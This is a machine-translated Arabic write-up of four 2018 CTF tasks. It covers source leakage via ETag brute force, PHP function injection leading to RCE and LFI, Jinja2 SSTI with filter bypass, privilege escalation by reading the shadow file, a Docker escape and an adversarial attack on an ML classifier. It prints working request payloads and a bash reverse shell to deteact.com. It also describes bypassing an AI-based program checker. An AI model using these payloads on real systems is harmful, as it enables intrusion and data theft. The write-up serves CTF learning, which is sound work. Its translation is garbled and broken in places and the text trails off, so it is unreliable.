كما وعدنا ، نقوم بنشر الجزء الثاني من قرارات الاختراق السنوي. اليوم 4-7: التوتر يزداد ، والمهام أكثر إثارة للاهتمام!

المحتوى:

يوم 4. Imagehub
تم إعداد هذه المهمة بواسطة
SPbCTF .
سوف خلقنا الجديد قتل Instagram. سنقنعك بكلمتين فقط:
1. المرشحات. مرشحات جديدة لم يسبق لها مثيل للصور التي تم تحميلها.
2. التخزين المؤقت. يضمن خادم HTTP المخصص هبوط ملفات الصور في ذاكرة التخزين المؤقت للمتصفح.
جربه الآن! imagehub.spb.ctf.su
تشغيل / get_the_flag للفوز.
خادم مخصص ثنائي: dppthتلميحات10/25/2018 20:00
المهمة لم تحل تمت إضافة 24 ساعة.
10/25/2018 17:00
هناك نوعان من الأخطاء التي نعرفها. أول واحد يحصل لك مصادر تطبيق الويب ، والثاني يحصل لك RCE.نظرة عامة:
قابل للتنفيذ:
- ELF x86_64
- تنفذ خادم HTTP بسيط
- إذا كان الملف المطلوب به بت قابل للتنفيذ ، فتم تمريره إلى php-fpm
- تطبق التعليمات البرمجية التخزين المؤقت etag المخصصة
جزء الويب:
- لديه وظيفة تحميل الملفات. يمكن تعديل الصورة باستخدام مرشحات محددة مسبقا.
- صفحة المسؤول مع Basic on /؟ Admin = show
الضعف: قراءة التعليمات البرمجية المصدر
تبدو وظيفة ذاكرة التخزين المؤقت مثيرة للاهتمام ، لأنه يمكننا الحصول على تجزئة نطاق الخادم التعسفي من الملف (حتى 1 بايت نطاق).
Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
وظيفة هاش: def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff
لسوء الحظ ، يتم تجريد etag من أجل الملفات القابلة للتنفيذ (* .php):
stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);
لا يزال هناك فحص قبل تنفيذ الصفحة ، لذلك إذا خمننا بشكل صحيح قيمة etag (
إن لم يكن هناك تطابق ) ، فإن الخادم سوف يقدم لنا استجابة لحالة
غير معدّلة 304 . باستخدام هذا يمكننا bruteforce شفرة المصدر بايت بايت.
v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a);
لنلخص ما حصلنا عليه من RE:
- يمكن قراءة الطابع الزمني بسهولة من رأس استجابة التعديل الأخير (سلسلة -> الطابع الزمني).
- يسمح النطاق بطول بايت واحد (لذلك سنحصل على تجزئة بايت واحد فقط)
- يمكن تخمين التجزئة لنطاق بايت واحد (256 قيمة ممكنة)
- الحجم قابل للتنفيذ ، لكننا بحاجة إلى معرفة بايت واحد على الأقل من الملف الهدف.
- نظرًا لأننا نرغب في الحصول على مصدر لملفات * .php ، فمن المفترض أن الملف يبدأ بـ "<؟ Php".
الخطوة الأولى هي الحصول على الحجم ، والثاني هو الحصول على محتويات الملف الفعلية.
مع الشفرة المتعددة الخيوط ، وصلت إلى سرعة حوالي 1 تشار / ثانية ، وألقيت بعض الملفات:
upload.php <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } }
يشمل / filters.php <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; }
يشمل / uploaderror.php <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; }
يشمل / check.php <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; }
هذا يعطينا:
- اسم المستخدم / كلمة المرور الخاصة بـ Admin Basic. عديمة الفائدة تماما ، فإنه يطبع فقط السلسلة:
Congratz. الآن يمكنك قراءة المصادر. الذهاب أعمق. - حقن وظيفة (FI) على المدخلات " تصفية ".
- التحقق من تحميل الصور أصبح واضحًا الآن بالنسبة لنا.
- يتم استخدام مكتبة ImageMagic. على افتراض أنه يستخدم للاستغلال هو طريق مسدود. لا أعتقد أن هناك أي طريقة لاستغلالها دون الاعتماد على FI.
الضعف: وظيفة الحقن
يحتوي الملف
upload.php على بعض التعليمات البرمجية المشبوهة:
$filterImage = $_POST['filter']($size, $text);
يمكننا تبسيط ذلك إلى:
$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);
يمكنك في الواقع اكتشاف هذه الثغرة الأمنية فقط عن طريق القيام ببعض التشويش. إرسال أسماء الوظائف مثل "
var_dump " أو "
debug_zval_dump " في إدخال "
filter " سيؤدي إلى ردود مثيرة للاهتمام من الخادم.
int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777)
لكنها ليست قضيتنا. هناك طريقتان على الأقل لحل المهمة.
filter_input_array vector (محلول غير مقصود): RCE vector
أثناء التفكير في الطرق الممكنة للحصول على RCE ، لاحظت أن
function filter_input_array
تمنحك
function filter_input_array
جيدًا في
$filterImage variable
.
تمرير
صفيف عامل التصفية كوسيطة ثانية ، سيسمح بإنشاء صفيف عشوائي على نتيجة الوظيفة.
لكن ImageMagic لا تتوقع الحصول على أي شيء إلى جانب فئة Imagick. :(
قد يكون في وسعنا إلغاء تدوين الصف من المدخلات؟ دعنا نبحث عن وسيطات
عوامل التصفية الإضافية في
وصف filter_input_array .
لم يتم ذكرها في صفحة الوظيفة نفسها ، ولكن يمكننا فعلًا تمرير
رد اتصال للتحقق من صحة الإدخال . مثال FILTER_CALLBACK خاص بـ
filter_input
، لكنه يعمل مع
filter_input_array
، أيضًا!
هذا يعني أنه يمكننا "التحقق من" إدخالات المستخدم المخصص باستخدام الوظيفة مع وسيطة واحدة (eval؟ النظام؟) ، ولدينا السيطرة على الوسيطة.
FILTER_CALLBACK = 1024
مثال للحصول على RCE:
GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1
الرد:
*** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf)
خط
البحث :
1m_t3h_R34L_binaeb_g1mme_my_71ck37كان هناك بالتأكيد شعور خاطئ ، لأننا حتى نحتاج إلى الحصول على الكود المصدري؟ فقط للتلميح؟ لماذا تم تخزين الملفات المحملة على القرص ، أليس أكثر ملاءمة عدم تخزين الملفات غير المرغوب فيها من المستخدمين الذين يمثلون تحديًا؟
صدفة في تسمية
مرشح =
filter _input_array ، أعطاني النص [a] [
filter ] الثقة بأن كل شيء تم كما هو متوقع ("
عوامل تصفية لم يسبق لها مثيل" ، تحقق من ✓).
spl_autoload vector: LFI vector
بعد تقديم الحل ، اتصل بي أحد مؤلفي التحديات ، الذين قالوا إن المتجه الخاص بي لم يكن مقصودًا ويمكن استخدام وظيفة أخرى (
spl_autoload
):
ليس من الواضح كيف يمكننا استخدام هذه الوظيفة لأنه من المفترض تحميل فئة "<class_name>" من الملف المسمى "<class_name> <some_extension>". التوقيع هو التالي:
void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )
يمكن أن تكون الوسيطة الأولى لدينا هي فقط (1-512) ، لذلك
اسم الفصل هو ... رقم؟ ... غريب.
تبدو حجة
الإضافة أيضًا غير صالحة للاستخدام ، والملفات التي يتم التحكم فيها هي مستوى واحد أعمق من
upload.php (نحتاج إلى تمرير بادئة).
هذه الوظيفة يمكن أن تعطينا بالفعل LFI إذا استخدمت بهذه الطريقة:
spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")
يتم الحصول على اسم الدليل من شفرة المصدر المسربة. لقد حالفنا الحظ ، لأنه إذا كان الحرف الأول من الاسم هو أي شيء إلى جانب الرقم -> فلا يمكننا تضمين ملفات من هناك.
لذلك ... كل ما نحتاج إليه الآن هو تمرير "نوع صالح" (يجب أن يقبله
getimagesize )
* ملف jpg. برمز php الذي تم إرساله. مثال بسيط (حمولة php في exif) مرفق.
قم
بتحميله كـ
1111.jpg ، وقم بما يلي:
الحصول على:
a = / get_the_flag
بعد:
مرشح = spl_autoload
الحجم = 51
text = a8ae2cab09c6b728919fe09af57ded / 1111.jpg
إرسال = 1
الرد:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***
Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37
-- SPbCTF (vk.com/spbctf)
خط
البحث :
1m_t3h_R34L_binaeb_g1mme_my_71ck37يمكن إجراء التحميل و LFI في طلب واحد.

يوم 5. الوقت
تم إعداد هذه المهمة من قبل
فريق الأمن الرقميأول ما تحتاجه هو إخضاع الوقت ، والثاني هو تجاوز العالم الصغير. بعد ذلك سوف تحصل على سلاح ضد المستوى النهائي للمدرب. حظا سعيدا
51.15.75.80
تلميحات10/27/2018 16:00
أوه ، كم عدد الأجهزة على علبة ... هل هي مفيدة حقًا؟
10/27/2018 14:35
إذا كنت قادرًا على التعامل مع المرشح على لوحة الوقت ، فيمكنك استخدام إمكانيات النظام بأكمله. لا تخجل.
10/27/2018 14:25
تحقق المضيف الظاهري ولا أسهب في 200
10/26/2018 19:25
المهمة لم تحل تمت إضافة 24 ساعة.
10/26/2018 17:35
استخدام كل ما تبذلونه من القدرات.
10/26/2018 12:25
لا تحتاج إلى أي برنامج شرعي لإكمال أي مرحلة من المهمة.1) وورد
في البداية ، حصلنا على العنوان
51.15.75.80 .
نحن ندير الهدرب - نرى الدليل / وورد /. انتقل على الفور إلى لوحة
المسؤول تحت
admin: admin .
في لوحة المشرف ، نرى أنه لا توجد امتيازات لتغيير القوالب ، لذلك لا يمكنك الحصول على RCE. ومع ذلك ، هناك منشور مخفي:
09/25/2018 من قبل المسؤول
خاص: ملاحظات حول لوحة الوقت
تسجيل الدخول: كريستوفر
كلمة المرور: L2tAPJReLbNSn085lTvRNj
المضيف: timepanel.zn2) SSTI
من الواضح أنك تحتاج إلى الانتقال إلى نفس الخادم عن طريق تحديد
timepanel.zn المضيف الظاهري
.نبدأ تشغيل hehdirb على هذا المضيف - نرى / adm_auth الدليل ، ونحن نذهب تحت تسجيل الدخول وكلمة المرور الواردة أعلاه. نرى النموذج الذي تحتاج إلى إدخال التواريخ ("من" و "إلى") للحصول على بعض المعلومات. في الوقت نفسه ، نرى تعليقًا في استجابة HTML code حيث تنعكس نفس التواريخ:
<!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 ->
من الواضح أن الخطأ هنا على الأرجح يجب أن يكون مرتبطًا بهذا الانعكاس ، ومن غير المرجح أن يكون XSS ، لذا جرِّب SSTI:
start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00
الجواب هو:
<!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 ->
عن طريق إرسال {{self}} ، {{'a' * 5}} ، ندرك أن هذا هو
Jinja2 ، لكن المتجهات القياسية لا تعمل. إرسال متجهات بدون {{brackets}} ، نرى أن الإجابة لا تعكس الأحرف "_" وبعض الكلمات ، على سبيل المثال ، "class". يتم تجاوز هذا المرشح بسهولة من خلال استخدام request.args والبناء | attr () ، وكذلك ترميز بعض وحدات البايت مع تسلسل هروب.
الاستعلام النهائي عن backconnectPOST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM
start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00
3) LPE
بعد تلقي RCE ، ندرك أنك بحاجة إلى رفع الامتيازات إلى الجذر. هناك العديد من المسارات الخاطئة (/ usr / bin / special ، /opt/privesc.py وغيرها) التي لا أريد وصفها ، لأنها لا تستغرق سوى وقت. هناك أيضًا binar / usr / bin / zero ، والذي لا يحتوي على جزء من نظام suid ، لكن اتضح أنه يمكنه قراءة أي ملفات (فقط أرسله المسار المشفر بالسداسي في stdin).
السبب هو القدرات (/ usr / bin / zero = cap_dac_read_search + ep).
لقد قرأنا الظل ، وقمنا بتعيين التجزئة المراد تفريشها ، ولكن بينما يتم تنظيفها ، فإننا نعتقد أننا نحتاج إلى قراءة ملف مستخدم آخر موجود على النظام:
$ echo /home/cristopher/.bash_history | xxd -p | zero
يمكنني قراءة شيء لك
سو
Dpyax4TkuEVVsgQNz6GUQX4) عامل الميناء الهروب / الطب الشرعي
لذلك ، لدينا الجذر. لكن هذه ليست النهاية.
نضع apt install extundelete ونجد العديد من الملفات الأكثر إثارة للاهتمام في نظام الملفات المرتبطة بالمرحلة التالية:
للحصول على تذكرة ، تحتاج إلى تغيير صورة حتى يتم تحديدها على أنها "1". لديك نموذج وصورة. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188 {6491 / forecast'.لذلك ، نواجه الآن المهمة القياسية المتمثلة في توليد مثال تنافسي لنموذج التعلم الآلي. ومع ذلك ، في هذه المرحلة ما زلت لا أستطيع الحصول على جميع الملفات التي احتاجها. كان من الممكن القيام بذلك فقط عن طريق وضع وكيل R-Studio على الخادم ومعالجة الطب الشرعي عن بعد. بعد أن قمت بسحب ما أحتاج إليه تقريبًا ، اكتشفت أنه في الواقع ، تعمل حاوية الإرساء في وضع يسمح لك بتحميل القرص بأكمله
نحن نجعل mount / dev / vda1 / root / kek ونحصل على إمكانية الوصول إلى نظام الملفات المضيف ، وفي نفس الوقت نقوم بالوصول الجذر إلى الخادم بأكمله (حيث يمكننا وضع مفتاح ssh الخاص بنا). نحن نخرج KerasModel.h5 ، ZeroSource.bmp.
5) خصمية ML
يتضح على الفور من الصورة أن الشبكة العصبية يتم تدريبها على مجموعة البيانات MNIST. عندما نحاول إرسال صورة تعسفية إلى الخادم ، نحصل على الإجابة بأن الصور تختلف كثيرًا. هذا يعني أن الخادم يقيس المسافة بين المتجهات ، لأنه يريد مثالًا خصاميًا تمامًا ، وليس مجرد صورة ذات صورة "1".
نحن نحاول الهجوم الأول الذي نحصل عليه من foolbox - نحصل على المتجه المهاجم ، لكن الخادم لا يقبله (المسافة كبيرة جدًا). ثم ذهبت إلى البراري ، وبدأت في إعادة صياغة تطبيقات One Pixel Attack تحت MNIST ، ولم ينجح أي شيء ، لأن هذا الهجوم يستخدم خوارزمية التطور التفاضلي ، فهو ليس متدرجًا ويحاول إيجاد الحد الأدنى العشوائي ، مسترشداً بالتغيرات في متجه الاحتمال. لكن اتجاه الاحتمالات لم يتغير ، لأن الشبكة العصبية كانت واثقة للغاية.
في النهاية ، كان علي أن أتذكر التلميح الذي كان في الملف النصي الأصلي على الخادم - "(Normilize ^ _ ^)". بعد التطبيع الدقيق ، كان من الممكن تنفيذ الهجوم بفعالية باستخدام خوارزمية تحسين L-BFGS ، أدناه هو الاستغلال النهائي:
import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'")
سطر
البحث :
H3y_Y0u'v_g01_4_n1c3_t1cket
يوم 6. رهيبة vm
تم إعداد هذه المهمة من قبل فريق
مدرسة CTF .
تحقق من خدمة التدريب الجديدة! zn.sibears.ru:8000
في الوقت الحالي ، نريد إشراكك في اختبار تجريبي لآلة افتراضية جديدة تم إنشاؤها خصيصًا لاختبار مهارات البرمجة الخاصة بالمبتدئين لدينا. لقد أضفنا حماية فكرية ضد الغش ونريد الآن التحقق من كل شيء بدقة قبل تقديم اللوح. يسمح لك VM بتشغيل برامج بسيطة ... أو ليس فقط؟!
goo.gl/iKRTrHتلميحات10/27/2018 16:20
ربما يمكنك خداع أو تجاوز نظام AI؟الوصف:

الخدمة عبارة عن نظام للتحقق من صحة الملفات ذات الامتداد .cmpld الذي يقبله مترجم sibVM. المهمة التي يجب أن يحلها البرنامج المرسلة: حساب مجموع الأرقام المدرجة في ملف input.txt ، تذكرنا إلى حد ما بمنافسة ACM. أيضًا ، يشير وصف واجهة الويب إلى أنه سيتم فحص البرامج المرسلة باستخدام الذكاء الاصطناعي.
تتكون الخدمة من حاويتين Docker:
عامل ربط على الويب و
prod_inter .
عامل شبكة الويب ليست مثيرة للاهتمام بشكل خاص للتحليل. كل ما يفعله هو ترجمة الملف المرسل إلى حاوية prod_inter ، والذي يحدث داخله كل الأشياء الأكثر إثارة للاهتمام. مقتطف الشفرة المقابل معروض أدناه:

في حاوية
prod_inter ، يتم فحص الملف المرسل وتنفيذه على بيانات الاختبار. لكل إرسال ، يتم إنشاء دليل جديد في / tmp / بشكل عشوائي ، حيث يتم حفظ الملف المرسل باسم عشوائي. يتم وضع ملف flag.txt أيضًا في الدليل الذي تم إنشاؤه ، والذي ربما يكون هدفنا.
ثم يبدأ الجزء الممتع: إذا كان الملف أكبر من 8192 بايت ، فسيتم فحص ملف إدخال البرنامج باستخدام الذكاء الاصطناعي. AI هي شبكة عصبية فائقة الدقة مدربة مسبقًا. إذا نجح الاختبار (كانت بيانات الإدخال أكثر من 8192 بايت ، وعينتها الشبكة العصبية إلى الفئة الأولى) ، فإن البرنامج يعمل على خمسة اختبارات مختلفة ، ويتم إرسال النتيجة في رسالة استجابة وعرضها على المستخدم.
إذا كان حجم بيانات الإدخال أقل من 8192 بايت ، أو أنهم لم يجتازوا الاختبار من قبل الشبكة العصبية ، ثم قبل اختبار البرنامج يتحقق من وجود سلسلة فرعية flag.txt فيه وللمحاولات لفتح ملف بنفس الاسم. تتم مراقبة الوصول إلى ملف flag.txt عن طريق تشغيل البرنامج في صندوق حماية
secfilter ، والذي يعتمد على تقنيات
SECCOMP ، وتحليل سجل التنفيذ. يوجد أدناه رمز الخدمة المقابل ومثال لسجل عند محاولة فتح ملف محظور:


لحل هذه المهمة ، قمت بإنشاء مجموعة من البرامج لمترجم sibVM التي تفتح ملف flag.txt وتعرض القيمة العددية للبايت إيث من الملف. في الوقت نفسه ، يجتاز كل برنامج بنجاح اختبار الذكاء الاصطناعي. بعد ذلك ، سيتم تقديم تحليل سطحي للشبكة العصبية ووصفًا لتشغيل الجهاز الظاهري.
تحليل الشبكة العصبية
يوجد نموذج الشبكة العصبية المدربة في ملف cnn_model.h5. فيما يلي معلومات عامة حول هندسة الشبكة.

لا نعرف بالضبط ما تعترف به الشبكة العصبية ، لذلك سنحاول تغذية البيانات المختلفة بها. من بنية الشبكة ، يتضح أنه عند الإدخال يتلقى صورة أحادية القناة بحجم 100X100. لتجنب تأثير القياس على النتيجة ، سوف نستخدم تسلسلات تبلغ 10000 بايت تم تحويلها إلى صورة باستخدام الوظائف المستخدمة في الخدمة. فيما يلي نتائج الشبكة العصبية باستخدام بيانات مختلفة:

استنادًا إلى النتائج ، يمكن افتراض أن الشبكة العصبية ستتلقى صورًا مع غلبة الألوان السوداء (صفر بايت). على الأرجح ، تتطلب كتابة برنامج يقرأ أحرف العلم أقل بكثير من 1000 بايت (يمكن ملء الباقي بالأصفار) ، وبعد ذلك سوف يقبل الذكاء الاصطناعي البرنامج المرسل.
وفقا لذلك ، لحل هذه المهمة ، يبقى لكتابة البرنامج المطلوب.
مترجم SibVM
هيكل البرنامجالخطوة الأولى هي فهم بنية ملف البرنامج. خلال عكس المفسر ، اتضح أن البرنامج يجب أن يبدأ برأس معيّن مع عدة مجالات خدمة ، وبعد ذلك هناك مجموعة من الكيانات ذات المعرفات ، ومن بينها يجب أن يكون هناك كيان رئيسي من النوع Function.
معالجة السجلات وإطلاق الوظيفة الرئيسية والنتيجة هي تنسيق ملف الإدخال التالي:

أنواع البيانات
يدعم المترجم أنواعًا مختلفة من الكيانات. فيما يلي جدول ومعرفاتها ، والتي ستكون ضرورية في المستقبل لإنشاء البرنامج.

بناء برنامج للمترجم الفوري
كما ذكر أعلاه ، يجب أن يكون البرنامج إدخال رئيسي مع نوع الوظيفة (5). له التنسيق التالي:

لم يكن من الصعب معرفة دورة تنفيذ البرنامج الرئيسية.
تقوم الدالة
decode_opcode
باسترداد معلومات حول العملية التالية من رمز البرنامج. تحتوي أول وحدتي بايت من كل عملية على رمز العملية وعدد الوسائط ونوعها. سيتم تفسير البايتات القليلة التالية (اعتمادًا على نوع وعدد الوسائط) على أنها وسيطات للعملية.
تنسيق أول وحدتي بايت من العملية:

بعد ذلك ، سنراجع بعض الإرشادات التي ستساعدنا في استخراج العلم من النظام.
الرسم البياني مترجم الأوامر ، وظيفة execute_opcode - Opcode 0 - يفتح الملف (يتم تحديد اسم الملف بواسطة وسيطة العملية وهو من النوع String) ويضع محتوياته في أعلى المكدس ككائن من نوع
ByteArray
. - Opcode 2 - يعرض القيمة المخزنة في الجزء العلوي من الرصة. لسوء الحظ ، لن تعرض هذه العملية قيمة كائن من النوع
ByteArray
. لحل هذه المشكلة ، يمكنك الحصول على العنصر i الصفيف وعرضه.
- شفرة التشغيل 13 - أخذ عنصر من مجموعة حسب الفهرس. يتم فصل الصفيف وفهرس العناصر من المكدس ، ويتم دفع النتيجة إلى المكدس. وفقًا لذلك ، لتجميع برنامج عمل ، من الضروري وضع الفهرس على المكدس.
- شفرة التشغيل 7 - تدفع وسيطة العملية إلى المكدس.
نتيجة لذلك ، يتكون البرنامج من 4 عمليات فقط:


سطر البحث:
flag {76f98c7f11582d73303a4122fd04e48cba5498}
اليوم 7. المصدر المخفي
أعدت هذه المهمة من قبل
RuCTF .
بالنظر إلى خدمة n24.elf . تخويل فقط على 95.216.185.52 وتحصل على العلم.تلميحات
10/28/2018 20:00المهمة لم تحل تمت إضافة 24 ساعة.أظهر مسح الخادم للوصول باستخدام بروتوكولات الاتصال القياسية الوصول عبر SSH (المنفذ 22). الملف المقدم هو ملف قابل للتنفيذ من قِبل ELF (تمت الإشارة إليه بمهارة بواسطة الامتداد في الاسم) لنظام Linux.
أظهر استخدام الأداة المساعدة للسلاسل وجود الخطوط "/home/task/.ssh" و "/home/task/.ssh/authorized_keys". استنتاج حول إمكانية الوصول إلى ملف مفتاح التفويض بدون كلمة مرور SSH من الملف القابل للتنفيذ ELF (المشار إليها فيما يلي باسم الخدمة).
يحتوي جدول الرموز على الوظائف اللازمة لفتح الملفات والكتابة:
يحتوي جدول الرموز أيضًا على وظائف للعمل مع مآخذ ولإنشاء العمليات ولعد MD5.
أظهر عكس الملف وجود عدد كبير من القفزات (نوع من التشويش). في الوقت نفسه ، يتم تنفيذ القفزات بين مجموعات الكود ، والتي يمكن تقسيمها بشكل عام إلى عدة أنواع:
- « OF », ( objdump):
95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d>
, OF «xor», «and» . - , . . , :
